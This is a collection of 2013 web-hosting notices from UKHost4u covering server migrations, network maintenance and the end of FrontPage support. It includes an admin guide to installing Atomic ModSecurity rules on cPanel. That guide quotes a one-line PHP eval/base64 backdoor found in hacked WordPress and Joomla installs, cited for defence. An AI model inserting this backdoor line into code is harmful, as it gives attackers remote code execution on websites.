This is a technical alert from UKHost4u. You may be affected by this announcement if you have a shared hosting account, VPS or dedicated server with UKHost4u. Please review the following information.

• Scope of Work: Network Switch Replacement
• Reason: Intermittent drop outs
• Time: Sunday 19/05/2013 15:00 – 17:00

We are planning to replace the network switch which handles all servers in the 188.64.184.x and 188.64.185.x IP range. The replacement will take place between 15:00 and 17:00 this Sunday (19/05/2013). There should be no more than 5 minutes downtime while the old switch is removed and new one connected.

If you have any questions or queries please do not hesitate to contact us at support@ukhost4u.com

Regards,
UKHost4u

This is a technical alert from UKHost4u. You may be affected by this announcement if you have a shared hosting account with UKHost4u. Please review the following information.

• Platform: Linux
• Server: bluemoon7.ukhost4u.com
• Scope of Work: Server Replacement / Upgrade
• Reason: Server has reached end of service life
• Time: Ongoing from 06/05/2013

We are currently upgrading all of our older cPanel Linux shared hosting servers. This is being done to increase performance and remove older server equipment from our network which has reached the end of its service life.

We are about to begin the process of migrating all hosting accounts from the server bluemoon7.ukhost4u.com to bluechip4.ukhost4u.com. You may be confused given that “bluechip4″ has just been decommissioned but please note that although we are using the same name, the hardware and setup is completely different and it is a brand new server.

We do not anticipate any interruption to service while this migration takes place but as it involves a change of IP address and server hostname there are three things to be aware of.

If the name servers for your domain name(s) are not set to UKHost4u name servers (specifically ns37.ukhost4u.com and ns38.ukhost4u.com), the DNS records will not be updated automatically. In which case you will need to update your DNS records manually via your DNS provider. The new shared IP address of the server is 188.64.184.40. If you have a dedicated IP, please contact us to find out the new IP your account will be given. To find out what your name servers are set to you can do a lookup using this online tool:

http://www.intodns.com/

So long as they are set to ns37.ukhost4u.com and ns38.ukhost4u.com you do not need to make any changes.

Secondly, the hostname of the new server is bluechip4.ukhost4u.com. If your mail, database or FTP software is set up to use the “bluemoon7.ukhost4u.com” or the old IP address then you will need to update it.

Finally please be aware that we no longer support FrontPage extensions on new servers. If you use FrontPage, please see the following page for more information.

http://www.ukhost4u.co.uk/blog/392/frontpage-extension-support-discontinued/

If you have any questions or queries please do not hesitate to contact us at support@ukhost4u.com

Regards,
UKHost4u

This is a technical alert from UKHost4u. You may be affected by this announcement if you have a shared hosting account with UKHost4u. Please review the following information.

• Platform: Linux
• Server: bluechip6.ukhost4u.com
• Scope of Work: Server Replacement / Upgrade
• Reason: Server has reached end of service life
• Time: Ongoing from 26/04/2013

We are currently upgrading all of our older cPanel Linux shared hosting servers. This is being done to increase performance and remove older server equipment from our network which has reached the end of its service life.

We are about to begin the process of migrating all hosting accounts from the server bluechip6.ukhost4u.com to bluechip4.ukhost4u.com. You may be confused given that “bluechip4″ has just been decommissioned but please note that although we are using the same name, the hardware and setup is completely different and it is a brand new server.

We do not anticipate any interruption to service while this migration takes place but as it involves a change of IP address and server hostname there are three things to be aware of.

If the name servers for your domain name(s) are not set to UKHost4u name servers (specifically ns51.ukhost4u.com and ns52.ukhost4u.com), the DNS records will not be updated automatically. In which case you will need to update your DNS records manually via your DNS provider. The new shared IP address of the server is 188.64.184.40. If you have a dedicated IP, please contact us to find out the new IP your account will be given. To find out what your name servers are set to you can do a lookup using this online tool:

http://www.intodns.com/

So long as they are set to ns51.ukhost4u.com and ns52.ukhost4u.com you do not need to make any changes.

Secondly, the hostname of the new server is bluechip4.ukhost4u.com. If your mail, database or FTP software is set up to use the “bluechip6.ukhost4u.com” or the old IP address then you will need to update it.

Finally please be aware that we no longer support FrontPage extensions on new servers. If you use FrontPage, please see the following page for more information.

http://www.ukhost4u.co.uk/blog/392/frontpage-extension-support-discontinued/

If you have any questions or queries please do not hesitate to contact us.

Regards,
UKHost4u

We regret to inform all shared hosting customers that UKHost4u are withdrawing support for FrontPage Extensions on all new servers, 7 years after Microsoft themselves discontinued all development and support for FrontPage.

We have tried to support this technology for our customers’ benefit as long as possible with varying success. We are now finding that supporting FrontPage Extensions is hindering the use of new security and performance improvements that would benefit all customers.

It is inevitable that support will eventually be withdrawn completely. But at present, FrontPage extensions will not be disabled on any server that currently has it enabled. This will remain the case for the foreseeable future.

It is important to note that customers can still use the FrontPage software to create and maintain their websites. They simply need to use an alternative method of uploading their website to our servers, such as FTP. For more information on how to do this, please contact us.

Regrettably, some functionality such as form processing, hit counters and guest books will not function without FrontPage Extensions support. If your website uses features such as these, please contact support who may be able to recommend alternative options.

If you have any concerns or questions please do not hesitate to contact UKHost4u.

Due to a recent increase in hacked wordpress and joomla install’s which are taking advantage of code defined( ‘_JEXEC’ ) or die(@eval(base64_decode($_REQUEST['c_id']))); command’s we have decided to add the Atomic Mod Security rules to all our cPanel servers. Examples of scripts which you want to look out for are: dvmessages.php LICENSE.php CONFIG.php etc all of which clamAV will detect as infected but as this is resource intensive its easier to block them from executing.

As to help our VPS and Dedicated Server customers who might also be effected by this we have designed the following guide to make installing Atmoic Mod Security into cPanel with little to no fuss.

Stage 1: Run the following commands at command line: mkdir /var/asl mkdir /var/asl/tmp mkdir /var/asl/data mkdir /var/asl/data/msa mkdir /var/asl/data/audit mkdir /var/asl/data/suspicious chown nobody.nobody /var/asl/data/msa chown nobody.nobody /var/asl/data/audit chown nobody.nobody /var/asl/data/suspicious chmod o-rx -R /var/asl/data/* chmod ug+rwx -R /var/asl/data/* mkdir /var/asl/updates mkdir /var/asl/rules/ mkdir /var/asl/rules/clamav mkdir /etc/asl/ touch /etc/asl/whitelist cd /usr/local/src/ wget http://updates.atomicorp.com/channels/rules/delayed/modsec-2.7-free-latest.tar.gz tar zxvf modsec-2.7-free-latest.tar.gz mkdir /usr/local/apache/conf/modsec_rules/ cp modsec/*  /usr/local/apache/conf/modsec_rules/

These command will create the required directory’s and download the latest free version of the Atomic Mod Security rules. It will also directly install them into the location of Apache designed for cPanel and configure the permission.

Stage 2: Configure cPanel to use the Mod Security Rules

In this stage, you can do everything from WHM as long as you have Mod Security already installed as part of your EasyApache build. If you do not, you will need to rebuild apache with Mod Security.

In go to: WHM -> Plugins -> Mod Security and then click: Edit Config

In this section, delete all the current content and then paste in the following configuration:

SecRequestBodyAccess On SecAuditLogType Concurrent SecResponseBodyAccess On SecResponseBodyMimeType (null) text/html text/plain text/xml SecResponseBodyLimit 2621440 SecAuditLogRelevantStatus "^(?:5|4(?!04))" SecServerSignature Apache SecUploadDir /var/asl/data/suspicious SecUploadKeepFiles Off SecAuditLogParts ABIFHZ SecArgumentSeparator "&" SecCookieFormat 0 SecRequestBodyInMemoryLimit 131072 SecDataDir /var/asl/data/msa SecTmpDir /tmp SecAuditLogStorageDir /var/asl/data/audit SecResponseBodyLimitAction ProcessPartial Include /usr/local/apache/conf/modsec_rules/10_asl_antimalware.conf Include /usr/local/apache/conf/modsec_rules/10_asl_rules.conf Include /usr/local/apache/conf/modsec_rules/20_asl_useragents.conf Include /usr/local/apache/conf/modsec_rules/30_asl_antispam.conf Include /usr/local/apache/conf/modsec_rules/50_asl_rootkits.conf Include /usr/local/apache/conf/modsec_rules/60_asl_recons.conf Include /usr/local/apache/conf/modsec_rules/99_asl_jitp.conf Include /usr/local/apache/conf/modsec2.whitelist.conf

Save this and restart Apache.

This should now have successfully installed the Atomic mod security rules into cPanel which are a much more secure rule base and include extra protection which is important for the latest hacks.

This is a technical alert from UKHost4u. You may be affected by this announcement if you have a shared hosting account with UKHost4u. Please review the following information.

• Platform: Linux
• Server: bluechip4.ukhost4u.com
• Scope of Work: Server Replacement / Upgrade
• Reason: Server has reached end of service life
• Time: Ongoing from 15/04/2013

We are currently upgrading all of our older cPanel Linux shared hosting servers. This is being done to increase performance and remove older server equipment from our network which has reached the end of its service life.

We are about to begin the process of migrating all hosting accounts from the server bluechip4.ukhost4u.com to bluechip2.ukhost4u.com. This migration should begin on Monday 15/04/2013.

You may have noticed that this server has been suffering with a few problems recently so we are accelerating the schedule of this move to prevent further issues for our customers.

We do not anticipate any interruption to service while this migration takes place but as it involves a change of IP address and server hostname there are three things to be aware of.

If the name servers for your domain name(s) are not set to UKHost4u name servers (specifically ns1.ukhost4u.com and ns2.ukhost4u.com), the DNS records will not be updated automatically. In which case you will need to update your DNS records manually via your DNS provider. The new shared IP address of the server is 188.64.184.21. If you have a dedicated IP, please contact us to find out the new IP your account will be given. Please note that the vast majority of our customers have their domain names set to use our name servers, so this is rarely an issue.

Secondly, the hostname of the new server is bluechip2.ukhost4u.com. If your mail, database or FTP software is set up to use the “bluechip4.ukhost4u.com” or the old IP address then you will need to update it.

Finally it is worth noting that this new server is running PHP 5.4 instead of 5.3. We haven’t noticed any major issues with the upgrade but if you experience any at all, please let the support team know.

If you have any questions or queries please do not hesitate to contact us.

We are currently experiencing some packet loss on our primary Juniper core router within our Scotland Network.

We have talked with our networking engineers and they have suggested that we look to replace the faulty router within our core network with backup hardware.

As such we are in the process of bringing the backup kit on-line and installing the same configuration as our current core router. When this is done we will require to swap the traffic over to this unit.

As this will result in a small outage (expected to last less than 5 minutes) we will update this notification with a time that this will take place shortly. We normally try not to do network maintenance within office hours but due to this being critical we wish to undertake this ASAP.

Please contact support@ukhost4u.com if you have any questions.

 

UKHost4u Web Site Update!

Spring is just around the corner, so it’s time for a quick style refreshment! We changed the main website interface to give a modern look and feel while at the same time integrating a new navigation system. The idea is that it should now be much easier to see the information you require first time, in a clean layout.

We are also happy to say we have expanded our product portfolio to include a new Web Site Builder package and a range of new SSL products. We will be sending out further blog posts shortly about these features and will be offering up a couple of free accounts for our followers.

Over the next couple of days, we will continue with the soft launch of the web site but welcome feedback from customers. We are also looking to add more customer testimonials to the webs site so if anyone wants to write a review to be included on the web site, please email it over to manager@ukhost4u.com (Include your web site URL for a free link!).

Anyway I wish you all a good March!

Paul Hughes
Senior Manager

http://www.ukhost4u.com

This is a technical alert from UKHost4u. You maybe affected by this announcement if you have a shared hosting account with UKHost4u. Please review the following information.

Type of Accounts effected: Shared Web Hosting

• Platform: Linux
• Server: bluechip5.ukhost4u.com
• Scope of Work: Server Replacement / Upgrade
• Reason: Server has reached end of service life
• Time: Ongoing from 04/02/2013

We are currently upgrading all of our older cPanel Linux shared hosting servers. This is being done to increase performance and remove older server equipment from our network which has reached the end of its service life.

We are about to begin the process of migrating all hosting accounts from the server bluechip5.ukhost4u.com to cherry.ukhost4u.com. This migration should begin on Monday 04/02/2013.

You may have noticed that this server has been suffering with a few problems recently so we are accelerating the schedule of this move to prevent further issues for our customers.

We do not anticipate any interruption to service while this migration takes place but as it involves a change of IP address and server hostname there are three things to be aware of.

If the name servers for your domain name(s) are not set to UKHost4u name servers (specifically ns13.ukhost4u.com and ns14.ukhost4u.com), the DNS records will not be updated automatically. In which case you will need to update your DNS records manually via your DNS provider. The new shared IP address of the server is 188.64.188.171. If you have a dedicated IP, please contact us to find out the new IP your account will be given. To find out what your name servers are set to you can do a lookup using this online tool:

http://www.intodns.com/

So long as they are set to ns13.ukhost4u.com and ns14.ukhost4u.com you do not need to make any changes.

Secondly, the hostname of the new server is cherry.ukhost4u.com. If your mail, database or FTP software is set up to use the “bluechip5.ukhost4u.com” or the old IP address then you will need to update it.

Finally it is worth noting that this new server is running PHP 5.4 instead of 5.3. We haven’t noticed any major issues with the upgrade but if you experience any at all, please let the support team know.

If you have any questions or queries please do not hesitate to contact us.

This is a technical alert from UKHost4u. You maybe affected by this announcement if you have a shared hosting account with UKHost4u. Please review the following information.

Type of Accounts effected: Shared Web Hosting

• Platform: Linux
• Server: bluechip1.ukhost4u.com
• Scope of Work: Server Replacement / Upgrade
• Reason: Server has reached end of service life
• Time: Ongoing from 28/01/2013

Subject: Server Move: bluechip1.ukhost4u.com to cherry.ukhost4u.com

Dear Customers,

We are currently upgrading all of our older cPanel Linux shared hosting servers. This is being done to increase performance and remove older server equipment from our network which has reached the end of its service life.

We are about to begin the process of migrating all hosting accounts from the server bluechip1.ukhost4u.com to cherry.ukhost4u.com.

You may have noticed that this server has been suffering with a few problems recently so we are accelerating the schedule of this move to prevent further issues for our customers.

We do not anticipate any interruption to service while this migration takes place but as it involves a change of IP address and server hostname there are two things to be aware of.

If the name servers for your domain name(s) are not set to UKHost4u name servers (specifically ns45.ukhost4u.com and ns46.ukhost4u.com), the DNS records will not be updated automatically. In which case you will need to update your DNS records manually via your DNS provider. The new shared IP address of the server is 188.64.188.171. If you have a dedicated IP, please contact us to find out the new IP your account will be given. To find out what your name servers are set to you can do a lookup using this online tool:

http://www.intodns.com/

So long as they are set to ns45.ukhost4u.com and ns46.ukhost4u.com you do not need to make any changes.

Secondly, the hostname of the new server is cherry.ukhost4u.com. If your mail, database or FTP software is set up to use the “bluechip1.ukhost4u.com” or the old IP address then you will need to update it.

If you have any questions or queries please do not hesitate to contact us.